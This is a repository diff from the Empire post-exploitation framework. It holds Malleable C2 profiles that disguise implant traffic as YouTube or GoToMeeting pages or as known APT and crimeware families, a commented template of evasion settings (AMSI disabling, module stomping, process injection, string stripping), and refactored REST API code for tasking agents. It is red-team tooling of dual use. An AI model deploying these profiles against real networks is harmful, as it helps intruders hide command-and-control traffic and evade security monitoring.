117 header "Content-Length" "0";
118 header "Cache-Control" "no-cache";
119 header "Expires" "Tue, 27 Apr 1971 19:44:06 EST";
120 header "X-Frame-Options" "SAMEORIGIN";
121 header "Content-Type" "video/x-flv";
122 header "X-Content-Type-Options" "nosniff";
123 header "Server" "YouTube Frontend Proxy";
124 header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'";
125 header "Connection" "close";
126
127
128 output {
129 netbios;
130 print;
131 }
132 }
133 }
134
135 http-stager {
136
137 set uri_x86 "/youtubei/v1/";
138 set uri_x64 "/youtubei/V1/";
139
140
141 client {
142
143 header "Accept" "*/*";
144 header "Accept-Language" "en-US,en;q=0.5";
145 header "X-Goog-Visitor-Id" "CgtGbFYxTWlKTU96VQ==";
146 header "X-YouTube-Client-Name" "56";
147 header "X-YouTube-Client-Version" "20171026";
148 header "Connection" "close";
149 }
150
151 server {
152 header "Cache-Control" "no-cache";
153 header "Content-Type" "text/xml; charset=UTF-8";
154 header "X-Frame-Options" "SAMEORIGIN";
155 header "X-Content-Type-Options" "nosniff";
156 header "Strict-Transport-Security" "max-age=31536000";
157 header "Content-Length" "155";
158 header "Expires" "Tue, 27 Apr 1971 19:44:06 EST";
159 header "Date" "Fri, 27 Oct 2017 18:24:28 GMT";
160 header "Server" "YouTube Frontend Proxy";
161 header "X-XSS-Protection" "1; mode=block";
162 header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'";
163 header "Connection" "close";
164
165 output {
166 print;
167 }
168
169 }
170
171
172 }
173
174 post-ex {
175
176 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
177 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
178
179 set obfuscate "true";
180
181 set smartinject "true";
182
183 set amsi_disable "true";
184
185 }
186
187 #use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually.
188 #don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though.
189 stage {
190 set checksum "0";
191 set compile_time "25 Oct 2016 01:57:23";
192 set entry_point "170000";
193 #set image_size_x86 "6586368";
194 #set image_size_x64 "6586368";
195 #set name "WWanMM.dll";
196 set userwx "false";
197 set cleanup "true";
198 set sleep_mask "true";
199 set stomppe "true";
200 set obfuscate "true";
201 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
202
203 #obfuscate beacon before sleep.
204 set sleep_mask "true";
205
206 #module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
207
208 set module_x86 "wwanmm.dll";
209 set module_x64 "wwanmm.dll";
210
211 transform-x86 {
212 prepend "\x90\x90\x90";
213 strrep "ReflectiveLoader" "";
214 strrep "beacon.dll" "";
215 }
216
217 transform-x64 {
218 prepend "\x90\x90\x90";
219 strrep "ReflectiveLoader" "";
220 strrep "beacon.x64.dll" "";
221 }
222
223 #can set a string in the .rdata section of the beacon dll.
224 #adds a zero-terminated string
225 #string "something";
226
227 #adds a string 'as-is'
228 #data "something";
229
230 #adds a wide (UTF-16LE encoded) string
231 stringw "something";
232 }
233
234
235 #controls process injection behavior
236 process-inject {
237
238 set allocator "NtMapViewOfSection";
239
240 set min_alloc "16700";
241
242 set userwx "false";
243
244 set startrwx "true";
245
246 transform-x86 {
247 prepend "\x90\x90\x90";
248 }
249 transform-x64 {
250 prepend "\x90\x90\x90";
251 }
252
253 execute {
254 CreateThread "ntdll!RtlUserThreadStart";
255 CreateThread;
256 NtQueueApcThread;
257 CreateRemoteThread;
258 RtlCreateUserThread;
259 }
260 }
0 [![Twitter URL](https://img.shields.io/twitter/url/https/twitter.com/fold_left.svg?style=flat)](https://twitter.com/BCSecurity1)
1 [![Discord](https://img.shields.io/discord/716165691383873536)](https://discord.gg/P8PZPyf)
2
3 Keep up-to-date on our blog at [https://www.bc-security.org/blog](https://www.bc-security.org/blog)
4
5 Check out the [Empire 3 Post-Exploitation Framework](https://github.com/BC-SECURITY/Empire)
6
7 # Malleable-C2-Profiles
8 A collection of profiles used in [Cobalt Strike](https://www.cobaltstrike.com/) and [Empire's Malleable C2 Listener](https://github.com/BC-SECURITY/Empire). The list of profiles have all been tested and work successfully with Empire. Please feel free to contribute and add to the collection.
9
10 ## Acknowledgements
11 Thank you to the following repos for generating and publishing many of these.
12 - [rsmudge](https://github.com/rsmudge/Malleable-C2-Profiles)
13 - [xx0hcd](https://github.com/xx0hcd/Malleable-C2-Profiles)
14 - [threatexpress](https://github.com/threatexpress/malleable-c2)
15 - [yeyintminthuhtut](https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection)
16 - [bluscreenofjeff](https://github.com/bluscreenofjeff/MalleableC2Profiles)
17 - [skgray](https://github.com//Malleable-C2)
18 - [mhaskar](https://github.com/mhaskar/MalleableC2-Profiles)
19
20 ## Documentation
21 - [A Deep Dive into Cobalt Strike Malleable C2](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
22 - [Malleable C2 Documenation](https://www.cobaltstrike.com/help-malleable-c2)
+0
-5
data/profiles/comfoo.txt less more
0 # Basic comfoo profile
1 # http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
2 # https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/comfoo.profile
3
4 "/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en"
+0
-5
data/profiles/fiesta.txt less more
0 # Fiesta Exploit Kit traffic profile
1 # http://malware-traffic-analysis.net/2014/04/05/index.html
2 # https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/crimeware/fiesta.profile
3
4 "/rmvk30g/|Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_11|Accept:text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"
+0
-5
data/profiles/pitty_tiger.txt less more
0 # Basic Pitty Tiger RAT profile
1 # http://bitbucket.cassidiancybersecurity.com/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf
2 # https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/pitty_tiger.profile
3
4 "/FC001/JOHN|Microsoft Internet Explorer"
0 #template profile - updated with 4.x options, added sections for new variant options. Variants can be used on http-get, http-post, http-stager, and https-certificate blocks.
1 #options from https://www.cobaltstrike.com/help-malleable-c2 and https://www.cobaltstrike.com/help-malleable-postex
2 #attempt to get everything in one place with examples.
3 #xx0hcd
4
5 ###global options###
6
7 #shows profile name in reports.
8 set sample_name "whatever.profile";
9
10 set sleeptime "37500";
11 set jitter "33";
12 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
13
14 #set true to use staged payloads, false to disable staged payloads.
15 #set host_stage "false";
16
17 ###DNS options###
18 set dns_idle "8.8.8.8";
19 set maxdns "245";
20 set dns_sleep "0";
21 set dns_stager_prepend "";
22 set dns_stager_subhost "";
23 set dns_max_txt "252";
24 set dns_ttl "1";
25
26 ###SMB options###
27 #use different strings for pipename and pipename_stager.
28 set pipename "ntsvcs";
29 set pipename_stager "scerpc";
30 set smb_frame_header "";
31
32 ###TCP options###
33 set tcp_port "8000";
34 set tcp_frame_header "";
35
36 ###SSH Banner###
37 set ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";
38
39 ###SSL Options###
40 #custom cert
41 #https-certificate {
42 #set keystore "your_store_file.store";
43 #set password "your_store_pass";
44 #}
45
46 #self sign cert
47 https-certificate {
48 set C "US";
49 set CN "whatever.com";
50 set L "California";
51 set O "whatever LLC.";
52 set OU "local.org";
53 set ST "CA";
54 set validity "365";
55 }
56
57 ###HTTPS_CERTIFICATE VARIANT###
58 #https-certificate "varinat_name_self" {
59 # set C "US";
60 # set CN "whatever2.com";
61 # set L "Florida";
62 # set O "whatever2 LLC.";
63 # set OU "local.org";
64 # set ST "FL";
65 # set validity "365";
66 #}
67
68 #code sign cert.
69 #code-signer {
70 #set keystore "your_keystore.jks";
71 #set password "your_password";
72 #set alias "server";
73 #}
74
75 ###HTTP-Config Block###
76 #Order of server response headers. Or you can just fill them in manually under the server blocks.
77 http-config {
78 set headers "Server, Content-Type, Cache-Control, Connection";
79 header "Content-Type" "text/html;charset=UTF-8";
80 header "Connection" "close";
81 header "Cache-Control" "max-age=2";
82 header "Server" "nginx";
83 #set "true" if teamserver is behind redirector
84 set trust_x_forwarded_for "false";
85 }
86
87 ###HTTP-GET Block###
88 #the http-get block checks if there are tasks queued.
89
90 http-get {
91
92 #You can specifiy multiple URI's with space between them.
93 set uri "/login /config /admin";
94
95 #default method is GET.
96 set verb "GET";
97 #set verb "POST";
98
99 client {
100
101 #Set headers based on traffic capture/Burp/etc.
102 header "Host" "whatever.com";
103 header "Accept" "*/*";
104 header "Accept-Language" "en-US";
105 header "Connection" "close";
106
107
108 metadata {
109 #Encoding options = append "string", base64, base64url, mask, netbios, netbiosu, prepend "string".
110 #base64
111 base64url;
112 #mask;
113 #netbios;
114 #netbiosu;
115 #prepend "TEST123";
116 append ".php";
117
118 #Termination statements = header "header", parameter "key", print, uri-append.
119 parameter "file";
120 #header "Cookie";
121 #uri-append;
122 #Have to set verb to POST if you want to use print in the client GET block.
123 #print;
124
125
126 }
127
128 #You can also add parameter values just to help mimic your site traffic.
129 parameter "test1" "test2";
130
131 }
132
133 server {
134 #headers are defined in the http-config block above, or you can set them manually here.
135 #header "Server" "nginx";
136
137 #the output keyword allows you to prepend/append data, to add site traffic, etc.
138 output {
139
140 netbios;
141 #netbiosu;
142 #base64;
143 #base64url;
144 #mask;
145
146
147 #Use prepend and append to mix your data in with normal looking site traffic. Escape double quotes and you can also use '\n'. c2lint shows '\n' as a period, but you can run it through Burp or pcap a HTTP payload to make sure everything is lining up correctly. Prepend strings need to be entered in reverse order, so the first string here is '"<!DOCTYPE html>\n";'.
148 prepend "content=";
149 prepend "<meta name=\"google-site-verification\"\n";
150 prepend "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
151 prepend "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n";
152 prepend "<link rel=\"canonical\" href=\"https://www.gotomeeting.com/b\">\n";
153 prepend "<title>Online Meeting Software with HD Video Conferencing | GoToMeeting</title>\n";
154 prepend " <meta charset=\"UTF-8\">\n";
155 prepend " <head>\n";
156 prepend "<html lang=\"en\">\n";
157 prepend "<!DOCTYPE html>\n";
158
159 append "\n<meta name=\"msvalidate.01\" content=\"63E628E67E6AD849F4185FA9AA7ABACA\">\n";
160 append "<script type=\"text/javascript\">\n";
161 append " var _kiq = _kiq || [];\n";
162 append " (function(){\n";
163 append " setTimeout(function(){\n";
164 append " var d = document, f = d.getElementsByTagName('script')[0], s =\n";
165 append "d.createElement('script'); s.type = 'text/javascript';\n";
166 append " s.async = true; s.src = '//s3.amazonaws.com/ki.js/66992/fWl.js';\n";
167 append "f.parentNode.insertBefore(s, f);\n";
168 append " }, 1);\n";
169 append "})();\n";
170 append "</script>\n";
171 append "</body>\n";
172 append "</html>\n";
173
174 #All server blocks use 'print' to termintate.
175 print;
176 }
177 }
178 }
179
180 ###HTTP-GET VARIANT###
181 #variants allow you to use multiple traffic profiles with a single teamserver. Define the block as normal adding a name for the variant in quotes.
182
183 http-get "variant_name_get" {
184
185 set uri "/index";
186
187 client {
188
189 header "Accept" "*/*";
190 header "Connection" "Keep-Alive";
191
192 metadata {
193
194 base64url;
195 parameter "id";
196
197 }
198
199 parameter "param_key" "value";
200
201 }
202
203 server {
204
205 header "Server" "Apache";
206
207 output {
208 netbios;
209
210 prepend "<html>\n";
211
212 append "'\n";
213
214 print;
215 }
216
217 }
218
219 }
220
221
222 ###HTTP-Post Block###
223 #The same transform and termination rules apply as the client GET section above.
224 #if tasks are queued then http-post block processes them.
225
226 http-post {
227
228 #URI's cannot be the same as the http-get block URI's, even changing one case is fine.
229 set uri "/Login /Config /Admin";
230 set verb "GET";
231 #set verb "POST";
232
233 client {
234
235
236 header "Host" "whatever.com";
237 header "Accept" "*/*";
238 header "Accept-Language" "en";
239 header "Connection" "close";
240
241 output {
242 base64url;
243 parameter "testParam";
244 }
245
246 #You can put the beacon id in - parameter "key", header "header",
247 #cannot add transform statements to beacon id.
248 id {
249 base64url;
250 parameter "id";
251 #header "ID-Header":
252
253 }
254 }
255
256 server {
257 #headers are defined in the http-config block above, or you can set them manually here.
258 #header "Server" "nginx";
259
260 output {
261 netbios;
262
263 prepend "content=";
264 prepend "<meta name=\"google-site-verification\"\n";
265 prepend "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n";
266 prepend "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n";
267 prepend "<link rel=\"canonical\" href=\"https://www.gotomeeting.com/b\">\n";
268 prepend "<title>Online Meeting Software with HD Video Conferencing | GoToMeeting</title>\n";
269 prepend " <meta charset=\"UTF-8\">\n";
270 prepend " <head>\n";
271 prepend "<html lang=\"en\">\n";
272 prepend "<!DOCTYPE html>\n";
273
274 append "\n<meta name=\"msvalidate.01\" content=\"63E628E67E6AD849F4185FA9AA7ABACA\">\n";
275 append "<script type=\"text/javascript\">\n";
276 append " var _kiq = _kiq || [];\n";
277 append " (function(){\n";
278 append " setTimeout(function(){\n";
279 append " var d = document, f = d.getElementsByTagName('script')[0], s =\n";
280 append "d.createElement('script'); s.type = 'text/javascript';\n";
281 append " s.async = true; s.src = '//s3.amazonaws.com/ki.js/66992/fWl.js';\n";
282 append "f.parentNode.insertBefore(s, f);\n";
283 append " }, 1);\n";
284 append "})();\n";
285 append "</script>\n";
286 append "</body>\n";
287 append "</html>\n";
288 print;
289 }
290 }
291 }
292
293 ###HTTP-POST VARIANT###
294 #variants allow you to use multiple traffic profiles with a single teamserver. Define the block as normal adding a name for the variant in quotes.
295
296 http-post "variant_name_post" {
297
298 set uri "/html";
299 #set verb "GET";
300 set verb "POST";
301
302 client {
303
304 header "Accept" "*/*";
305 header "Connection" "Keep-Alive";
306
307 output {
308 base64url;
309 parameter "name";
310
311 }
312
313 id {
314 base64url;
315 parameter "id";
316
317 }
318 }
319
320 server {
321
322 header "Server" "Apache";
323
324 output {
325 netbios;
326 print;
327 }
328 }
329 }
330
331
332 ###HTTP-Stager Block###
333 #Options to set if you are using a staged payload.
334 http-stager {
335
336 #Same URI rules apply as above, can't have URI's that match in any other client block.
337 set uri_x86 "/Console";
338 set uri_x64 "/console";
339
340 client {
341 header "Host" "whatever.com";
342 header "Accept" "*/*";
343 header "Accept-Language" "en-US";
344 header "Connection" "close";
345
346 #can use a parameter as well
347 parameter "test1" "test2";
348 }
349
350 server {
351 #headers are defined in the http-config block above, or you can set them manually here.
352 #header "Server" "nginx";
353
354 output {
355
356 prepend "content=";
357
358 append "</script>\n";
359 print;
360 }
361
362 }
363
364
365 }
366
367 ###HTTP-Stager Variant###
368 #variants allow you to use multiple traffic profiles with a single teamserver. Define the block as normal adding a name for the variant in quotes.
369
370 http-stager "variant_name_stager" {
371
372 set uri_x86 "/uri1";
373 set uri_x64 "/uri2";
374
375 client {
376 header "Host" "whatever.com";
377 header "Accept" "*/*";
378 header "Accept-Language" "en-US";
379 header "Connection" "close";
380
381 #can use a parameter as well
382 parameter "test1" "test2";
383 }
384
385 server {
386 #headers are defined in the http-config block above, or you can set them manually here.
387 #header "Server" "nginx";
388
389 output {
390
391 prepend "content=";
392
393 append "</script>\n";
394 print;
395 }
396
397 }
398
399
400 }
401
402
403
404 ###Malleable PE/Stage Block###
405 #use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually.
406 #don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though.
407 stage {
408 set checksum "0";
409 set compile_time "25 Oct 2016 01:57:23";
410 set entry_point "170000";
411 #set image_size_x86 "6586368";
412 #set image_size_x64 "6586368";
413 #set name "WWanMM.dll";
414 set userwx "false";
415 set cleanup "true";
416 set sleep_mask "true";
417 set stomppe "true";
418 set obfuscate "true";
419 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
420
421 #obfuscate beacon before sleep.
422 set sleep_mask "true";
423
424 #https://www.cobaltstrike.com/releasenotes.txt -> + Added option to bootstrap Beacon in-memory without walking kernel32 EAT
425 set smartinject "true";
426
427 #module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
428
429 set module_x86 "wwanmm.dll";
430 set module_x64 "wwanmm.dll";
431
432 #transform allows you to remove, replace, and add strings to beacon's reflective dll stage.
433 transform-x86 {
434 prepend "\x90\x90\x90";
435 strrep "ReflectiveLoader" "";
436 strrep "beacon.dll" "";
437 }
438
439 transform-x64 {
440 prepend "\x90\x90\x90";
441 strrep "ReflectiveLoader" "";
442 strrep "beacon.x64.dll" "";
443 }
444
445 #can set a string in the .rdata section of the beacon dll.
446 #adds a zero-terminated string
447 #string "something";
448
449 #adds a string 'as-is'
450 #data "something";
451
452 #adds a wide (UTF-16LE encoded) string
453 stringw "something";
454 }
455
456 ###Process Inject Block###
457 #controls process injection behavior
458 process-inject {
459
460 #Can use NtMapViewOfSection or VirtualAllocEx
461 #NtMapViewOfSection only allows same arch to same arch process injection.
462 set allocator "NtMapViewOfSection";
463
464 set min_alloc "16700";
465
466 set userwx "false";
467
468 set startrwx "true";
469
470 #prepend has to be valid code for current arch
471 transform-x86 {
472 prepend "\x90\x90\x90";
473 }
474 transform-x64 {
475 prepend "\x90\x90\x90";
476 }
477
478 execute {
479 #Options to spoof start address for CreateThread and CreateRemoteThread, +0x<nums> for offset added to start address. docs recommend ntdll and kernel32 using remote process.
480
481 #start address does not point to the current process space, fires SYSMON 8 events
482 #CreateThread;
483 #CreateRemoteThread;
484
485 #self injection
486 CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
487
488 #suspended process in post-ex jobs, takes over primary thread of temp process
489 SetThreadContext;
490
491 #early bird technique, creates a suspended process, queues an APC call to the process, resumes main thread to execute the APC.
492 NtQueueApcThread-s;
493
494 #uses an RWX stub, uses CreateThread with start address that stands out, same arch injection only.
495 #NtQueueApcThread;
496
497 #no cross session
498 CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
499
500 #uses an RWX stub, fires SYSMON 8 events, does allow x86->x64 injection.
501 RtlCreateUserThread;
502 }
503 }
504
505 ###Post-Ex Block###
506 post-ex {
507
508 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
509 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
510
511 set obfuscate "true";
512
513 set smartinject "true";
514
515 set amsi_disable "true";
516
517 }
+0
-5
data/profiles/zeus.txt less more
0 # Basic Zeus variant profile
1 # https://malwr.com/analysis/NjIwNTU2ODA2OTUxNDcwNmJiMTMzYzk4YzU4NWQyZDQ/
2 # https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/crimeware/zeus.profile
3
4 "/metro91/admin/1/ppptp.jpg,/metro91/admin/1/secure.php|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)|Accept:*/*"
+480
-528
empire less more
88 import json
99 import logging
1010 import os
11 import pickle
1211 import pkgutil
1312 import signal
14 import sqlite3
1513 import ssl
1614 import string
1715 import subprocess
1816 import sys
1917 import time
20 from datetime import datetime, timezone
2118 import random
19
2220 from time import sleep
23
21 from datetime import datetime, timezone, date
22
23 import flask
2424 from flask import Flask, request, jsonify, make_response, abort, url_for, g
2525 from flask.json import JSONEncoder
2626 from flask_socketio import SocketIO, emit, join_room, leave_room, \
2727 close_room, rooms, disconnect
28 from sqlalchemy import or_, and_, func
29 from sqlalchemy.orm import aliased
2830
2931 # Empire imports
32 from lib import arguments
3033 from lib.common import empire, helpers, users
3134 from lib.common.empire import MainMenu
35 from lib.database.base import Session
36 from lib.database import models
3237
3338 # Check if running Python 3
3439 if sys.version[0] == '2':
7782 def default(self, o):
7883 if isinstance(o, datetime):
7984 return o.isoformat()
85 if isinstance(o, bytes):
86 return o.decode('latin-1')
8087
8188 return super().default(o)
82
83
84 def database_connect():
85 """
86 Connect with the backend ./empire.db sqlite database and return the
87 connection object.
88 """
89 try:
90 sqlite3.register_adapter(datetime, adapt_datetime)
91 sqlite3.register_converter("timestamp", convert_timestamp)
92 # set the database connectiont to autocommit w/ isolation level
93 conn = sqlite3.connect('./data/empire.db', check_same_thread=False, detect_types=sqlite3.PARSE_DECLTYPES)
94 conn.text_factory = str
95 conn.isolation_level = None
96 return conn
97
98 except Exception:
99 print(helpers.color("[!] Could not connect to database"))
100 print(helpers.color("[!] Please run setup_database.py"))
101 sys.exit()
102
103
104 def execute_db_query(conn, query, args=None):
105 """
106 Execute the supplied query on the provided db conn object
107 with optional args for a paramaterized query.
108 """
109 cur = conn.cursor()
110 if args:
111 cur.execute(query, args)
112 else:
113 cur.execute(query)
114 results = cur.fetchall()
115 cur.close()
116 return results
11789
11890 ####################################################################
11991 #
189161 #
190162 ####################################################################
191163
192 def start_restful_api(empireMenu: MainMenu, suppress=False, username=None, password=None, port=1337):
164 def start_restful_api(empireMenu: MainMenu, suppress=False, headless=False, username=None, password=None, port=1337):
193165 """
194166 Kick off the RESTful API with the given parameters.
195167
203175
204176 app.json_encoder = MyJsonEncoder
205177
206 conn = database_connect()
207
208178 main = empireMenu
209179
210180 global serverExitCommand
211
212 # if a username/password were not supplied, use the creds stored in the db
213 #(dbUsername, dbPassword) = execute_db_query(conn, "SELECT api_username, api_password FROM config")[0]
214181
215182 if username:
216183 main.users.update_username(1, username[0])
227194 log = logging.getLogger('werkzeug')
228195 log.setLevel(logging.ERROR)
229196
197 if headless:
230198 # suppress all stdout and don't initiate the main cmdloop
231199 sys.stdout = open(os.devnull, 'w')
232200
255223 response.headers['Access-Control-Allow-Origin'] = '*'
256224 return response
257225
226 @app.teardown_request
227 def remove_session(ex):
228 Session.remove()
229
258230 @app.errorhandler(Exception)
259231 def exception_handler(error):
260232 """
288260 url = rule.rule
289261 output.update({rule.endpoint: {'methods': methods, 'url': url}})
290262
291 return jsonify({'Routes':output})
263 return jsonify({'Routes': output})
292264
293265 @app.route('/api/config', methods=['GET'])
294266 def get_config():
297269 """
298270 api_username = g.user['username']
299271 api_current_token = g.user['api_token']
300 configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser FROM config')
301
302 [staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser] = configRaw[0]
303 config = [{"api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "staging_key":staging_key, "version":empire.VERSION}]
304 return jsonify({'config': config})
272
273 config = Session().query(models.Config).first()
274 dictret = dict(config.__dict__);
275
276 dictret.pop('_sa_instance_state', None)
277 dictret['api_username'] = api_username
278 dictret['current_api_token'] = api_current_token
279 dictret['version'] = empire.VERSION
280
281 return jsonify({"config": dictret})
305282
306283 @app.route('/api/stagers', methods=['GET'])
307284 def get_stagers():
324301 Returns JSON describing the specified stager_name passed.
325302 """
326303 if stager_name not in main.stagers.stagers:
327 return make_response(jsonify({'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' %(stager_name)}), 404)
304 return make_response(jsonify({
305 'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' % (
306 stager_name)}), 404)
328307
329308 stagers = []
330309 for stagerName, stager in main.stagers.stagers.items():
353332 listener = request.json['Listener']
354333
355334 if stagerName not in main.stagers.stagers:
356 return make_response(jsonify({'error': 'stager name %s not found' %(stagerName)}), 404)
335 return make_response(jsonify({'error': 'stager name %s not found' % (stagerName)}), 404)
357336
358337 if not main.listeners.is_listener_valid(listener):
359338 return make_response(jsonify({'error': 'invalid listener ID or name'}), 400)
364343 for option, values in request.json.items():
365344 if option != 'StagerName':
366345 if option not in stager.options:
367 return make_response(jsonify({'error': 'Invalid option %s, check capitalization.' %(option)}), 400)
346 return make_response(jsonify({'error': 'Invalid option %s, check capitalization.' % (option)}), 400)
368347 stager.options[option]['Value'] = values
369348
370349 # validate stager options
409388 """
410389
411390 if module_name not in main.modules.modules:
412 return make_response(jsonify({'error': 'module name %s not found' %(module_name)}), 404)
391 return make_response(jsonify({'error': 'module name %s not found' % (module_name)}), 404)
413392
414393 modules = []
415394 moduleInfo = copy.deepcopy(main.modules.modules[module_name].info)
430409 abort(400)
431410
432411 if module_name not in main.modules.modules:
433 return make_response(jsonify({'error': 'module name %s not found' %(module_name)}), 404)
412 return make_response(jsonify({'error': 'module name %s not found' % (module_name)}), 404)
434413
435414 module = main.modules.modules[module_name]
436415
459438 agentVersion = float(main.agents.get_language_version_db(sessionID))
460439 # check if the agent/module PowerShell versions are compatible
461440 if moduleVersion > agentVersion:
462 return make_response(jsonify({'error': "module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)}), 400)
441 return make_response(jsonify({'error': "module requires PS version " + str(
442 moduleVersion) + " but agent running PS version " + str(agentVersion)}), 400)
463443
464444 except Exception as e:
465 return make_response(jsonify({'error': 'exception: %s' %(e)}), 400)
445 return make_response(jsonify({'error': 'exception: %s' % (e)}), 400)
466446
467447 # check if the module needs admin privs
468448 if module.info['NeedsAdmin']:
515495
516496 for agent in main.agents.get_agents():
517497 sessionID = agent[1]
518 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id'])
498 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name,
499 uid=g.user['id'])
519500 msg = "tasked agent %s to run module %s" % (sessionID, module_name)
520501 main.agents.save_agent_log(sessionID, msg)
521502
522 msg = "tasked all agents to run module %s" %(module_name)
523 return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
503 msg = "tasked all agents to run module %s" % (module_name)
504 return jsonify({'success': True, 'taskID': taskID, 'msg': msg})
524505
525506 else:
526507 # set the agent's tasking in the cache
527 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id'])
508 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name,
509 uid=g.user['id'])
528510
529511 # update the agent log
530 msg = "tasked agent %s to run module %s" %(sessionID, module_name)
512 msg = "tasked agent %s to run module %s" % (sessionID, module_name)
531513 main.agents.save_agent_log(sessionID, msg)
532 return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
514 return jsonify({'success': True, 'taskID': taskID, 'msg': msg})
533515
534516 @app.route('/api/modules/search', methods=['POST'])
535517 def search_modules():
655637 """
656638 Returns JSON describing all currently registered listeners.
657639 """
658 activeListenersRaw = execute_db_query(conn,
659 'SELECT id, name, module, listener_type, listener_category, options, created_at FROM listeners')
640 active_listeners_raw = Session().query(models.Listener).all()
641
660642 listeners = []
661
662 for activeListener in activeListenersRaw:
663 [ID, name, module, listener_type, listener_category, options, created_at] = activeListener
664 listeners.append({'ID': ID, 'name': name, 'module': module, 'listener_type': listener_type,
665 'listener_category': listener_category, 'options': pickle.loads(options),
666 'created_at': created_at})
667
668 return jsonify({'listeners': listeners})
643 for active_listener in active_listeners_raw:
644 listeners.append({'ID': active_listener.id, 'name': active_listener.name, 'module': active_listener.module,
645 'listener_type': active_listener.listener_type,
646 'listener_category': active_listener.listener_category,
647 'options': active_listener.options,
648 'created_at': active_listener.created_at})
649
650 return jsonify({"listeners": listeners})
669651
670652 @app.route('/api/listeners/<string:listener_name>', methods=['GET'])
671653 def get_listener_name(listener_name):
672654 """
673655 Returns JSON describing the listener specified by listener_name.
674656 """
675 activeListenersRaw = execute_db_query(conn,
676 'SELECT id, name, module, listener_type, listener_category, options FROM listeners WHERE name=?',
677 [listener_name])
657 active_listener = Session().query(models.Listener).filter(models.Listener.name == listener_name).first()
658
678659 listeners = []
679
680 # if listener_name != "" and main.listeners.is_listener_valid(listener_name):
681 for activeListener in activeListenersRaw:
